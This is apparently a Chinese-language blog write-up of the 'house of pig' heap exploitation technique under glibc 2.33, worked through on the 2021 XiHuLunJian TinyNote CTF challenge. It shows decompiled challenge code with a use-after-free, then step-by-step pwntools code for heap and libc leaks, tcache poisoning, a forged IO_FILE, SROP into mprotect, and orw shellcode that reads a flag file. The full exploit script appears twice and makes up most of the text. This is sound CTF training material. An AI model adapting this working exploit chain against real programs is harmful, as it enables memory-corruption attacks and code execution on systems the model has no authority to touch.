2.33下的house of pig

以最近在西湖论剑上碰到的题目,TinyNode来记录下libc2-33下,house of pig的利用流程

0x01 house of pig

1.1 利用条件

  • 至少存在uaf
  • 程序可通过某种方式退出
    1. 当 libc 执行abort流程时。
    2. 程序显式调用 exit 。
    3. 程序能通过主函数返回。

1.2 利用思路

house of pig的利用思路就是,利用一个堆地址任意地址写,将_IO_list_all或者某个IO_FILEchain字段,覆写为一个我们可以控制的堆地址,并在这个堆地址上伪造IO_FILE结构。当程序退出前会调用_IO_flush_all_lockp函数来flush所有IO流,当flush到我们伪造的IO_FILE结构时因为其参数和结构都是我们可控的,因此可以达到劫持控制流的目的。

在该堆地址构造 FILE 结构的时候,重点是将其vtable_IO_file_jumps修改为 _IO_str_jumps,那么当原本应该调用IO_file_overflow的时候,就会转而调用如下的IO_str_overflow。而该函数是以传入的 FILE 地址本身为参数的,同时其中会连续调用 malloc、memcpy、free 函数(如下图),且三个函数的参数又都可以被该 FILE 结构中的数据控制。

我们可以先通过malloc把提前放在tcache里的__free_hook取出来,然后利用memcpy将__free_hook修改为setcontext + 61,后面再调用free_hook触发SROP执行mprotect,再跳转到shellcode上完成整个orw的过程。

1.3 libc2-33新增的保护

除了2.32增加的对tache的指针进行一个异或它本身地址右移12位的操作之外,还新增了申请新地址时必须满足0x10对齐的限制。

0x02 西湖论剑2021 TinyNote

2.1 题目分析

main

大概来看有四个功能,add,show,edit,delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax

sub_126F();
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 2 )
break;
edit();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
show();
}
else if ( v3 == 4 )
{
delete();
}
}
else if ( v3 == 1 )
{
add();
}
}
}

add

add功能是只可以申请0x10大小的chunk,而且sub_141E函数对malloc进行了一个封装,禁止我们申请堆空间以外的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int add()
{
void **v0; // rax
int idx; // [rsp+4h] [rbp-Ch]
void *v3; // [rsp+8h] [rbp-8h]

sub_1240("Index:");
LODWORD(v0) = sub_1465();
idx = (signed int)v0;
if ( (signed int)v0 >= 0 && (signed int)v0 <= 2 )
{
v3 = (void *)sub_141E(0x10uLL);
if ( !v3 )
{
sub_1240("internal error");
exit(0);
}
v0 = chunk_buf;
chunk_buf[idx] = v3;
}
return (signed int)v0;
}

show

show没什么好说的,中规中矩的一个泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int sub_15B1()
{
void *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

sub_1240("Index:");
LODWORD(v0) = sub_1465();
v2 = (signed int)v0;
if ( (signed int)v0 >= 0 && (signed int)v0 <= 2 )
{
v0 = chunk_buf[(signed int)v0];
if ( v0 )
{
sub_1240("Content:");
LODWORD(v0) = write(1, chunk_buf[v2], 0x10uLL);
}
}
return (signed int)v0;

delete

存在uaf漏洞,free之后没有把指针清空

1
2
3
4
5
6
7
8
9
10
11
12
void sub_1626()
{
int v0; // [rsp+Ch] [rbp-4h]

sub_1240("Index:");
v0 = sub_1465();
if ( v0 >= 0 && v0 <= 2 )
{
if ( chunk_buf[v0] )
free(chunk_buf[v0]);
}
}

2.2 利用分析

  1. 利用uaf首先把heap地址和libc地址泄漏出来
  2. 因为只能申请0x10大小的chunk,因此利用[fastbin_reverse_into_tcache](house_of_botcake && fastbin_reverse_into_tcache | 木头的小木屋 (wood1314.github.io))进行一个任意地址写堆地址。这个时候由于libc2-33的对齐保护,所以_IO_list_all是不能劫持的,stderr等也不能直接劫持,只能选择_IO_2_1_stderr的chain字段,利用我们tcache的key来劫持,正好可以劫持到heapbase+0x10的位置。这里不用fd字段劫持的原因是,fd字段会被抑或成一个很奇怪的字段,影响后续利用。
  3. 伪造IO_FILE结构,劫持控制流执行orw

2.3 利用过程

预备工作

使用patch-elf修改题目libc为对应版本的glibc-all-in-one中的libc,方便带符号调试

1
2
3
patchelf --set-interpreter /home/wood/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so ./TinyNote

patchelf --replace-needed libc.so.6 /home/wood/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6 ./TinyNote

泄漏heap 地址和libc 地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
# context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
libc = ELF('/home/wood/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6')
sh = process('./TinyNote')

def Menu(choice):
sh.recvuntil('Choice:')
sh.sendline(str(choice))

def Add(idx):
Menu(1)
sh.recvuntil(':')
sh.sendline(str(idx))

def Edit(idx, content):
Menu(2)
sh.recvuntil(':')
sh.sendline(str(idx))
sh.recvuntil(":")
sh.send(content)

def Show(idx):
Menu(3)
sh.recvuntil(':')
sh.sendline(str(idx))

def Dlete(idx):
Menu(4)
sh.recvuntil(':')
sh.sendline(str(idx))



Add(0)
Add(1)
Add(2)
Dlete(0)
Show(0)
sh.recvuntil(':')
key = u64(sh.recv(8))
heap_base = key << 12
log.success('heapbase: ' + hex(heap_base))

for i in range(0x31):
Add(2)

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x330)))
Add(2)
Add(2)
Edit(2,p64(0)+p64(0x421))

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x340)))
Add(2)
Add(2)
Dlete(2)
Show(2)

sh.recvuntil(':')
libc_base = u64(sh.recv(8)) - 0x1e0c00

log.success('libc_base: ' + hex(libc_base))

构造fake_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
IO_str_vtable = libc_base + 0x1e2560

system_addr = libc_base + libc.sym['system']

free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + 0x52970 + 61
gadget = libc_base + 0x000000000014a0a0

fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x500) #v4
fake_IO_FILE += p64(heap_base+0x508) #v5
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable)
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(setcontext)

for i in range(len(payload)//0x10 + 1):
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x20 + 0x10*i)))
Add(2)
Add(2)
Edit(2, payload[i*0x10:(i+1)*0x10])

为后面的利用提前布置一些地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# put free_hook on tcache in 0x80 size
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0xc0)))
Add(2)
Add(2)

Edit(2, p64((free_hook)))

# set tcache size
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x10)))
Add(2)
Add(2)

Edit(2, p64(0) + p64(0x101000000))


# write rdi address

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x500)))
Add(2)
Add(2)

Edit(2, p64(gadget) + p64(0x300 + heap_base))

# set shellcode addr

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x520)))
Add(2)
Add(2)

Edit(2, p64(0) + p64(heap_base + 0x900))

设置SROP的frame以及shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# set frame

shellcode = '''
mov rax,0x67616c662f2e
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
'''

frame = SigreturnFrame()
frame.rsp = heap_base + 0x528
frame.rdi = heap_base
frame.rsi = 0x5000
frame.rdx = 4 | 2 | 1
frame.rip = libc.sym['mprotect'] + libc_base
payload = bytes(frame)


for i in range(len(payload)//0x10):
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x300 + i*0x10)))
Add(2)
Add(2)

Edit(2, payload[i*0x10: (i+1)*0x10])


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x320)))

Add(2)
Add(2)

Edit(2, p64(setcontext))



# # set shellcode in heap
payload = bytes(asm(shellcode))

for i in range(len(payload)//0x10):
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x900 + i*0x10)))
Add(2)
Add(2)

Edit(2, payload[i*0x10: (i+1)*0x10])

构造 fastbin_reverse_to_tcache

这里注意要把fastbin填为8个,这样的话就不会在reverse_into_tcache的时候引入别的chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# #Create a fake fastbin chains

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x820)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x830)))


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x840)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x850)))


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x860)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x870)))


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x880)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x890)))


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x8a0)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x8b0)))



Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x8c0)))
Add(2)
Add(2)

Edit(2, p64((libc_base + libc.sym['_IO_2_1_stderr_'] + 0x60 - 0x10) ^ key)+ p64(0))

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x90)))
Add(2)
Add(2)


for i in range(7):
Edit(0, p64(0)*2)
Dlete(0)

Dlete(1)
Edit(1, p64(key ^ (heap_base + 0x810)))


for i in range(6):
Add(0)

Edit(0, p64(key))
Add(0)

在此时fastbin的状态如下

然后

1
Add(0)

大胜利!

0x03 完成exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
from pwn import *
# context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
libc = ELF('/home/wood/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6')
sh = process('./TinyNote')

def Menu(choice):
sh.recvuntil('Choice:')
sh.sendline(str(choice))

def Add(idx):
Menu(1)
sh.recvuntil(':')
sh.sendline(str(idx))

def Edit(idx, content):
Menu(2)
sh.recvuntil(':')
sh.sendline(str(idx))
sh.recvuntil(":")
sh.send(content)

def Show(idx):
Menu(3)
sh.recvuntil(':')
sh.sendline(str(idx))

def Dlete(idx):
Menu(4)
sh.recvuntil(':')
sh.sendline(str(idx))



Add(0)
Add(1)
Add(2)
Dlete(0)
Show(0)
sh.recvuntil(':')
key = u64(sh.recv(8))
heap_base = key << 12
log.success('heapbase: ' + hex(heap_base))

for i in range(0x31):
Add(2)

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x330)))
Add(2)
Add(2)
Edit(2,p64(0)+p64(0x421))

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x340)))
Add(2)
Add(2)
Dlete(2)
Show(2)

sh.recvuntil(':')
libc_base = u64(sh.recv(8)) - 0x1e0c00

log.success('libc_base: ' + hex(libc_base))

for i in range(0x20):
Add(0)

Add(2)

IO_str_vtable = libc_base + 0x1e2560

system_addr = libc_base + libc.sym['system']

free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + 0x52970 + 61
gadget = libc_base + 0x000000000014a0a0

fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x500) #v4
fake_IO_FILE += p64(heap_base+0x508) #v5
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable)
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(setcontext)


for i in range(len(payload)//0x10 + 1):
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x20 + 0x10*i)))
Add(2)
Add(2)
Edit(2, payload[i*0x10:(i+1)*0x10])
# put free_hook on tcache in 0x80 size
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0xc0)))
Add(2)
Add(2)

Edit(2, p64((free_hook)))

# set tcache size
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x10)))
Add(2)
Add(2)

Edit(2, p64(0) + p64(0x101000000))


# write rdi address

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x500)))
Add(2)
Add(2)

Edit(2, p64(gadget) + p64(0x300 + heap_base))

# set shellcode addr

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x520)))
Add(2)
Add(2)

Edit(2, p64(0) + p64(heap_base + 0x900))




# set frame

shellcode = '''
mov rax,0x67616c662f2e
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
'''

frame = SigreturnFrame()
frame.rsp = heap_base + 0x528
frame.rdi = heap_base
frame.rsi = 0x5000
frame.rdx = 4 | 2 | 1
frame.rip = libc.sym['mprotect'] + libc_base
payload = bytes(frame)


for i in range(len(payload)//0x10):
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x300 + i*0x10)))
Add(2)
Add(2)

Edit(2, payload[i*0x10: (i+1)*0x10])


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x320)))

Add(2)
Add(2)

Edit(2, p64(setcontext))



# # set shellcode in heap
payload = bytes(asm(shellcode))

for i in range(len(payload)//0x10):
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x900 + i*0x10)))
Add(2)
Add(2)

Edit(2, payload[i*0x10: (i+1)*0x10])


# #Create a fake fastbin chains

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x820)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x830)))


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x840)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x850)))


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x860)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x870)))


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x880)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x890)))


Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x8a0)))
Add(2)
Add(2)

Edit(2, p64(key ^ (heap_base + 0x8b0)))



Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x8c0)))
Add(2)
Add(2)

Edit(2, p64((libc_base + libc.sym['_IO_2_1_stderr_'] + 0x60 - 0x10) ^ key)+ p64(0))

Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(0)*2)
Dlete(0)
Edit(0, p64(key ^ (heap_base + 0x90)))
Add(2)
Add(2)


for i in range(7):
Edit(0, p64(0)*2)
Dlete(0)

Dlete(1)
Edit(1, p64(key ^ (heap_base + 0x810)))


for i in range(6):
Add(0)

Edit(0, p64(key))
Add(0)

Add(0)

gdb.attach(sh)

Edit(2, p64(libc_base + libc.sym['__malloc_hook']))




Add(0)


sh.interactive()

0x04 附件

链接: https://pan.baidu.com/s/1okMdhQF0z8RQmEOCQM6eng 提取码: 5871

0x05参考

!(house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com))

-------------本文结束感谢您的阅读-------------
+ +